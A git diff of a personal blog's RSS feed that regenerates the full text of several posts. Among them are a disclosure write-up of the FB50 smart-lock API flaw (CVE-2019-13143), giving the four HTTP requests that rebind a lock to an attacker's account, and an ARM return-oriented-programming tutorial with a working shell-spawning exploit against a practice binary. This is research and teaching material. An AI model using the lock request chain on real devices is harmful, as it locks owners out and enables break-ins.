Generate RSS automagically Signed-off-by: Anirudh <icyph0x@pm.me>
Anirudh icyph0x@pm.me
Fri, 09 Aug 2019 01:01:30 +0530
3 files changed,
583 insertions(+),
557 deletions(-)
M
pages/blog/feed.xml
→
pages/blog/feed.xml
@@ -1,4 +1,3 @@
-<?xml version='1.0' encoding='UTF-8'?> <rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0"> <channel> <title>icyphox's blog</title>@@ -6,295 +5,549 @@ <link>https://icyphox.sh/blog/</link>
<description>icyphox's blog</description> <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/> <image> + <title>icyphox logo</title> <url>https://icyphox.sh/icyphox.png</url> + <link>https://icyphox.sh/blog/</link> </image> <language>en-us</language> <copyright>Creative Commons BY-NC-SA 4.0</copyright> -<item> - <title>Picking the FB50 smart lock (CVE-2019-13143)</title> - <link>https://icyphox.sh/blog/fb50/</link> - <description><h1 id="picking-the-fb50-smart-lock-cve-2019-13143">Picking the FB50 smart lock (CVE-2019-13143)</h1> + <item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<h1 id="picking-the-fb50-smart-lock-cve-2019-13143">Picking the FB50 smart lock (CVE-2019-13143)</h1> -<h2 id="and-lessons-learnt-in-iot-security">… and lessons learnt in IoT security</h2> +<h2 id="and-lessons-learnt-in-iot-security">… and lessons learnt in IoT security</h2> -<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7&#8217;s Blog</a>, with my edits</em>)</p> +<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p> -<h3 id="the-lock">The lock</h3> +<h3 id="the-lock">The lock</h3> -<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen +<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands -across many ecommerce sites, and has over, an estimated, 15k+ users.</p> +across many ecommerce sites, and has over, an estimated, 15k+ users.</p> -<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from +<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from the Play/App Store to function. The app requires the user to create an account before further functionality is available. It also facilitates configuring the fingerprint, -and unlocking from a range via Bluetooth.</p> +and unlocking from a range via Bluetooth.</p> -<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE) -and the Android app.</p> +<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE) +and the Android app.</p> -<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3> +<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3> -<p>Android phones have the ability to capture Bluetooth (HCI) traffic +<p>Android phones have the ability to capture Bluetooth (HCI) traffic which can be enabled under Developer Options under Settings. We made -around 4 &#8220;unlocks&#8221; from the Android phone, as seen in the screenshot.</p> +around 4 “unlocks” from the Android phone, as seen in the screenshot.</p> -<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p> +<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p> -<p>This is the value sent in the <code>Write</code> request:</p> +<p>This is the value sent in the <code>Write</code> request:</p> -<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p> +<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p> -<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>, -but that didn&#8217;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p> +<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>, +but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p> -<h3 id="via-the-android-app">Via the Android app</h3> +<h3 id="via-the-android-app">Via the Android app</h3> -<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn&#8217;t get us too +<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too far since most of it was obfuscated. Why bother when there exists an -easier approach &#8211; BurpSuite.</p> +easier approach – BurpSuite.</p> -<p>We captured and played around with a bunch of requests and responses, -and finally arrived at a working exploit chain.</p> +<p>We captured and played around with a bunch of requests and responses, +and finally arrived at a working exploit chain.</p> -<h3 id="the-exploit">The exploit</h3> +<h3 id="the-exploit">The exploit</h3> -<p>The entire exploit is a 4 step process consisting of authenticated -HTTP requests:</p> +<p>The entire exploit is a 4 step process consisting of authenticated +HTTP requests:</p> -<ol> -<li>Using the lock&#8217;s MAC (obtained via a simple Bluetooth scan in the -vicinity), get the barcode and lock ID</li> -<li>Using the barcode, fetch the user ID</li> -<li>Using the lock ID and user ID, unbind the user from the lock</li> -<li>Provide a new name, attacker&#8217;s user ID and the MAC to bind the attacker -to the lock</li> -</ol> +<ol> +<li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the +vicinity), get the barcode and lock ID</li> +<li>Using the barcode, fetch the user ID</li> +<li>Using the lock ID and user ID, unbind the user from the lock</li> +<li>Provide a new name, attacker’s user ID and the MAC to bind the attacker +to the lock</li> +</ol> -<p>This is what it looks like, in essence (personal info redacted).</p> +<p>This is what it looks like, in essence (personal info redacted).</p> -<h4 id="request-1">Request 1</h4> +<h4 id="request-1">Request 1</h4> -<pre><code>POST /oklock/lock/queryDevice -{"mac":"XX:XX:XX:XX:XX:XX"} -</code></pre> +<pre><code>POST /oklock/lock/queryDevice +{"mac":"XX:XX:XX:XX:XX:XX"} +</code></pre> -<p>Response:</p> +<p>Response:</p> -<pre><code>{ - "result":{ - "alarm":0, - "barcode":"&lt;BARCODE&gt;", - "chipType":"1", - "createAt":"2019-05-14 09:32:23.0", - "deviceId":"", - "electricity":"95", - "firmwareVersion":"2.3", - "gsmVersion":"", - "id":&lt;LOCK ID&gt;, - "isLock":0, - "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95", - "lockPwd":"000000", - "mac":"XX:XX:XX:XX:XX:XX", - "name":"lock", - "radioName":"BlueFPL", - "type":0 +<pre><code>{ + "result":{ + "alarm":0, + "barcode":"<BARCODE>", + "chipType":"1", + "createAt":"2019-05-14 09:32:23.0", + "deviceId":"", + "electricity":"95", + "firmwareVersion":"2.3", + "gsmVersion":"", + "id":<LOCK ID>, + "isLock":0, + "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95", + "lockPwd":"000000", + "mac":"XX:XX:XX:XX:XX:XX", + "name":"lock", + "radioName":"BlueFPL", + "type":0 }, - "status":"2000" + "status":"2000" } -</code></pre> +</code></pre> -<h4 id="request-2">Request 2</h4> +<h4 id="request-2">Request 2</h4> -<pre><code>POST /oklock/lock/getDeviceInfo +<pre><code>POST /oklock/lock/getDeviceInfo -{"barcode":"https://app.oklok.com.cn/app.html?id=&lt;BARCODE&gt;"} -</code></pre> +{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"} +</code></pre> -<p>Response:</p> +<p>Response:</p> -<pre><code> "result":{ - "account":"email@some.website", - "alarm":0, - "barcode":"&lt;BARCODE&gt;", - "chipType":"1", - "createAt":"2019-05-14 09:32:23.0", - "deviceId":"", - "electricity":"95", - "firmwareVersion":"2.3", - "gsmVersion":"", - "id":&lt;LOCK ID&gt;, - "isLock":0, - "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95", - "lockPwd":"000000", - "mac":"XX:XX:XX:XX:XX:XX", - "name":"lock", - "radioName":"BlueFPL", - "type":0, - "userId":&lt;USER ID&gt; +<pre><code> "result":{ + "account":"email@some.website", + "alarm":0, + "barcode":"<BARCODE>", + "chipType":"1", + "createAt":"2019-05-14 09:32:23.0", + "deviceId":"", + "electricity":"95", + "firmwareVersion":"2.3", + "gsmVersion":"", + "id":<LOCK ID>, + "isLock":0, + "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95", + "lockPwd":"000000", + "mac":"XX:XX:XX:XX:XX:XX", + "name":"lock", + "radioName":"BlueFPL", + "type":0, + "userId":<USER ID> } -</code></pre> +</code></pre> -<h4 id="request-3">Request 3</h4> +<h4 id="request-3">Request 3</h4> -<pre><code>POST /oklock/lock/unbind +<pre><code>POST /oklock/lock/unbind -{"lockId":"&lt;LOCK ID&gt;","userId":&lt;USER ID&gt;} -</code></pre> +{"lockId":"<LOCK ID>","userId":<USER ID>} +</code></pre> -<h4 id="request-4">Request 4</h4> +<h4 id="request-4">Request 4</h4> -<pre><code>POST /oklock/lock/bind +<pre><code>POST /oklock/lock/bind -{"name":"newname","userId":&lt;USER ID&gt;,"mac":"XX:XX:XX:XX:XX:XX"} -</code></pre> +{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"} +</code></pre> -<h3 id="thats-it-the-scary-stuff">That&#8217;s it! (&amp; the scary stuff)</h3> +<h3 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h3> -<p>You should have the lock transferred to your account. The severity of this +<p>You should have the lock transferred to your account. The severity of this issue lies in the fact that the original owner completely loses access to -their lock. They can&#8217;t even &#8220;rebind&#8221; to get it back, since the current owner -(the attacker) needs to authorize that. </p> +their lock. They can’t even “rebind” to get it back, since the current owner +(the attacker) needs to authorize that. </p> -<p>To add to that, roughly 15,000 user accounts&#8217; info are exposed via IDOR. -Ilja, a cool dude I met on Telegram, noticed locks named &#8220;carlock&#8221;, -&#8220;garage&#8221;, &#8220;MainDoor&#8221;, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p> +<p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR. +Ilja, a cool dude I met on Telegram, noticed locks named “carlock”, +“garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p> -<p><em>shudders</em></p> +<p><em>shudders</em></p> -<h3 id="proof-of-concept">Proof of Concept</h3> +<h3 id="proof-of-concept">Proof of Concept</h3> -<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p> +<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p> -<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p> +<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p> -<h3 id="disclosure-timeline">Disclosure timeline</h3> +<h3 id="disclosure-timeline">Disclosure timeline</h3> -<ul> -<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li> -<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li> -<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li> -<li>No response from vendor</li> -<li><strong>2nd August 2019</strong>: Public disclosure</li> -</ul> +<ul> +<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li> +<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li> +<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li> +<li>No response from vendor</li> +<li><strong>2nd August 2019</strong>: Public disclosure</li> +</ul> -<h3 id="lessons-learnt">Lessons learnt</h3> +<h3 id="lessons-learnt">Lessons learnt</h3> -<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You&#8217;re better off with the &#8220;dumb&#8221; ones +<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones with keys. With the IoT plague spreading, it brings in a large attack surface -to things that were otherwise &#8220;unhackable&#8221; (try hacking a &#8220;dumb&#8221; toaster).</p> +to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p> -<p>The IoT security scene is rife with bugs from over 10 years ago, like -executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development -practices in general.</p> +<p>The IoT security scene is rife with bugs from over 10 years ago, like +executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development +practices in general.</p> -<p>Our existing threat models and scenarios have to be updated to factor +<p>Our existing threat models and scenarios have to be updated to factor in these new exploitation possibilities. This also broadens the playing -field for cyber warfare and mass surveillance campaigns. </p> +field for cyber warfare and mass surveillance campaigns. </p> + +<h3 id="researcher-info">Researcher info</h3> + +<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p> + +<ul> +<li>Anirudh Oppiliappan (me)</li> +<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li> +<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li> +</ul> + +<div class="footnotes"> +<hr /> +<ol> +<li id="fn-1"> +<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p> +</li> + +<li id="fn-2"> +<p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p> +</li> + +<li id="fn-3"> +<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p> +</li> +</ol> +</div> +]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<h1 id="return-oriented-programming-on-arm-32-bit">Return Oriented Programming on ARM (32-bit)</h1> + +<h2 id="making-stack-based-exploitation-great-again">Making stack-based exploitation great again!</h2> + +<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM +assembly to follow along. I highly recommend +<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly +Basics</a>. Once you’re +comfortable with it, proceed with the next bit — environment setup.</p> + +<h3 id="setup">Setup</h3> + +<p>Since we’re working with the ARM architecture, there are two options to go +forth with: </p> + +<ol> +<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. +And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>. +The scripts found inside should be self-explanatory.</li> +<li>Use actual ARM hardware, like an RPi.</li> +</ol> + +<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you +may use <code>radare2</code>, IDA or anything else, really. All of which can be +trivially installed.</p> + +<p>And for the sake of simplicity, disable ASLR:</p> + +<pre><code>$ echo 0 > /proc/sys/kernel/randomize_va_space +</code></pre> + +<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a> +<a href="/static/files/roplevel2.c">roplevel2</a>. </p> + +<p>Compile it:</p> + +<pre><code>$ gcc roplevel2.c -o rop2 +</code></pre> + +<p>With that out of the way, here’s a quick run down of what ROP actually is.</p> + +<h3 id="a-primer-on-rop">A primer on ROP</h3> + +<p>ROP or Return Oriented Programming is a modern exploitation technique that’s +used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>. +In essence, no code in the binary is actually modified and the entire exploit +is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p> + +<p>A gadget is essentially a small sequence of code (instructions), ending with +a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM +code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>. +These gadgets are <em>chained</em> together by jumping (returning) from one onto the other +to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain, +there’s generally a call to <code>system()</code>, to acheive code execution.</p> + +<p>In practice, the process of executing a ropchain is something like this:</p> + +<ul> +<li>confirm the existence of a stack-based buffer overflow</li> +<li>identify the offset at which the instruction pointer gets overwritten</li> +<li>locate the addresses of the gadgets you wish to use</li> +<li>craft your input keeping in mind the stack’s layout, and chain the addresses +of your gadgets</li> +</ul> + +<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”. +Check it out, it might be just what you needed for that “aha!” moment :)</p> + +<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully +that should put things into perspective.</p> + +<h3 id="exploring-our-binary">Exploring our binary</h3> + +<p>Start by running it, and entering any arbitrary string. On entering a fairly +large string, say, “A” × 20, we +see a segmentation fault occur.</p> + +<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p> + +<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p> + +<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p> + +<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and +<code>gadget</code>. Disassembling the <code>main</code> function:</p> + +<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p> + +<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls +to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are +never actually called.</p> + +<p>Disassembling the <code>gadget</code> function:</p> + +<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p> + +<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>, +which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code> +instruction in the middle. This is a <strong>gadget</strong>.</p> + +<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where +arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code> +are used for this. So this gadget effectively allows us to pass arguments to +functions using <code>r0</code>, and subsequently jumping to them by passing its address +in <code>pc</code>. Neat.</p> + +<p>Moving on to the disassembly of the <code>winner</code> function:</p> + +<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p> + +<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>. +So our end goal here is to, quite obviously, execute code via the <code>system()</code> +function.</p> + +<p>Now that we have an overview of what’s in the binary, let’s formulate a method +of exploitation by messing around with inputs.</p> + +<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3> + +<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the +screenshot.</p> + +<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p> + +<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice +the <code>pc</code> has been overwritten with our input. +So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p> + +<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now +control program execution flow. Let’s try jumping to the <code>winner</code> function.</p> + +<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset +of the second instruction — <code>add r11, sp, #4</code>. +For this, we’ll use Python to print our input string replacing <code>FFFF</code> with +the address of <code>winner</code>. Note the endianness.</p> + +<pre><code>$ python -c 'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")' | ./rop2 +</code></pre> + +<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p> + +<p>The reason we don’t jump to the first instruction is because we want to control the stack +ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code> +those out after <code>winner</code> is done executing and we will no longer control +where it jumps to.</p> + +<p>So that didn’t do much, just prints out a string “Nothing much here…”. +But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument +to do what we want (run a command, execute a shell, etc.).</p> + +<p>To do that, we’ll follow a multi-step process: </p> + +<ol> +<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li> +<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into +<code>r0</code>.</li> +<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li> +</ol> + +<p>The pseudo-code is something like this:</p> + +<pre><code>string = AAAABBBBCCCCDDDDEEEE +gadget = # addr of gadget +binsh = # addr of /bin/sh +system = # addr of system() + +print(string + gadget + binsh + system) +</code></pre> + +<p>Clean and mean.</p> + +<h3 id="the-exploit">The exploit</h3> + +<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>. +It allows us to pack the bytes of addresses to the endianness of our choice. +It probably does a lot more, but who cares.</p> + +<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint +at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p> + +<pre><code>(gdb) find &system, +9999999, "/bin/sh" +</code></pre> + +<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p> -<h3 id="researcher-info">Researcher info</h3> +<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be +found from the disassmblies from earlier. Here’s the final exploit code:</p> + +<pre><code>import struct + +binsh = struct.pack("I", 0xb6f85588) +string = "AAAABBBBCCCCDDDDEEEE" +gadget = struct.pack("I", 0x00010550) +system = struct.pack("I", 0x00010538) + +print(string + gadget + binsh + system) + +</code></pre> + +<p>Honestly, not too far off from our pseudo-code :)</p> + +<p>Let’s see it in action:</p> + +<p><img src="/static/img/the_shell.png" alt="the shell!" /></p> + +<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates +when the pipe closes, since there’s no input coming in from STDIN. +To get around this, we use <code>cat(1)</code> which allows us to relay input through it +to the shell. Nifty trick.</p> + +<h3 id="conclusion">Conclusion</h3> + +<p>This was a fairly basic challenge, with everything laid out conveniently. +Actual ropchaining is a little more involved, with a lot more gadgets to be chained +to acheive code execution.</p> + +<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p> +]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h1 id="my-setup">My Setup</h1> + +<h2 id="my-daily-drivers-hardware-and-software">My daily drivers — hardware and software</h2> + +<h3 id="hardware">Hardware</h3> + +<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u, +8 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p> + +<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted. +I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p> + +<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p> + +<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>. +For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p> + +<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>. +Great pair of headphones, although the ear cups need replacing.</p> + +<h3 id="and-the-software">And the software</h3> + +<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric +window manager, all riced. I now use whatever JustWorks™.</del></p> + +<p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install, +running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p> + +<p>Here’s a (riced) screenshot of my desktop. </p> -<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p> +<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p> -<ul> -<li>Anirudh Oppiliappan (me)</li> -<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li> -<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li> -</ul> +<p>Most of my work is done in either the browser, or the terminal. +My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need +a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>. +My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above. +I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p> -<div class="footnotes"> -<hr /> -<ol> -<li id="fn-1"> -<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p> -</li> +<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace +clean and a single command to drop into a Kali shell.</p> -<li id="fn-2"> -<p>Thanks to Ilja Shaposhnikov (@drakylar).&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p> -</li> +<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>. +The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p> -<li id="fn-3"> -<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p> -</li> -</ol> -</div> -</description> - <pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate> - <guid>https://icyphox.sh/blog/fb50/</guid> -</item> -<item> - <title>Python for Reverse Engineering #1: ELF Binaries</title> - <link>https://icyphox.sh/blog/python-for-re-1</link> - <description><h1 id="python-for-reverse-engineering-1-elf-binaries">Python for Reverse Engineering 1: ELF Binaries</h1> +<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p> +]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<h1 id="python-for-reverse-engineering-1-elf-binaries">Python for Reverse Engineering 1: ELF Binaries</h1> -<h2 id="building-your-own-disassembly-tooling-for-thats-right-fun-and-profit">Building your own disassembly tooling for — that’s right — fun and profit</h2> +<h2 id="building-your-own-disassembly-tooling-for-thats-right-fun-and-profit">Building your own disassembly tooling for — that’s right — fun and profit</h2> -<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p> +<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p> -<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p> +<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p> -<h3 id="setup">Setup</h3> +<h3 id="setup">Setup</h3> -<p>As the title suggests, you’re going to need a Python 3 interpreter before +<p>As the title suggests, you’re going to need a Python 3 interpreter before anything else. Once you’ve confirmed beyond reasonable doubt that you do, -in fact, have a Python 3 interpreter installed on your system, run</p> +in fact, have a Python 3 interpreter installed on your system, run</p> -<pre><code>$ pip install capstone pyelftools -</code></pre> +<pre><code>$ pip install capstone pyelftools +</code></pre> -<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p> +<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p> -<p>With that out of the way, let’s start with an example of a basic reversing -challenge.</p> +<p>With that out of the way, let’s start with an example of a basic reversing +challenge.</p> -<pre><code>/* chall.c */ +<pre><code>/* chall.c */ -#include &lt;stdio.h&gt; -#include &lt;stdlib.h&gt; -#include &lt;string.h&gt; +#include <stdio.h> +#include <stdlib.h> +#include <string.h> int main() { char *pw = malloc(9); - pw[0] = 'a'; - for(int i = 1; i &lt;= 8; i++){ + pw[0] = 'a'; + for(int i = 1; i <= 8; i++){ pw[i] = pw[i - 1] + 1; } - pw[9] = '\0'; + pw[9] = '\0'; char *in = malloc(10); - printf("password: "); - fgets(in, 10, stdin); // 'abcdefghi' + printf("password: "); + fgets(in, 10, stdin); // 'abcdefghi' if(strcmp(in, pw) == 0) { - printf("haha 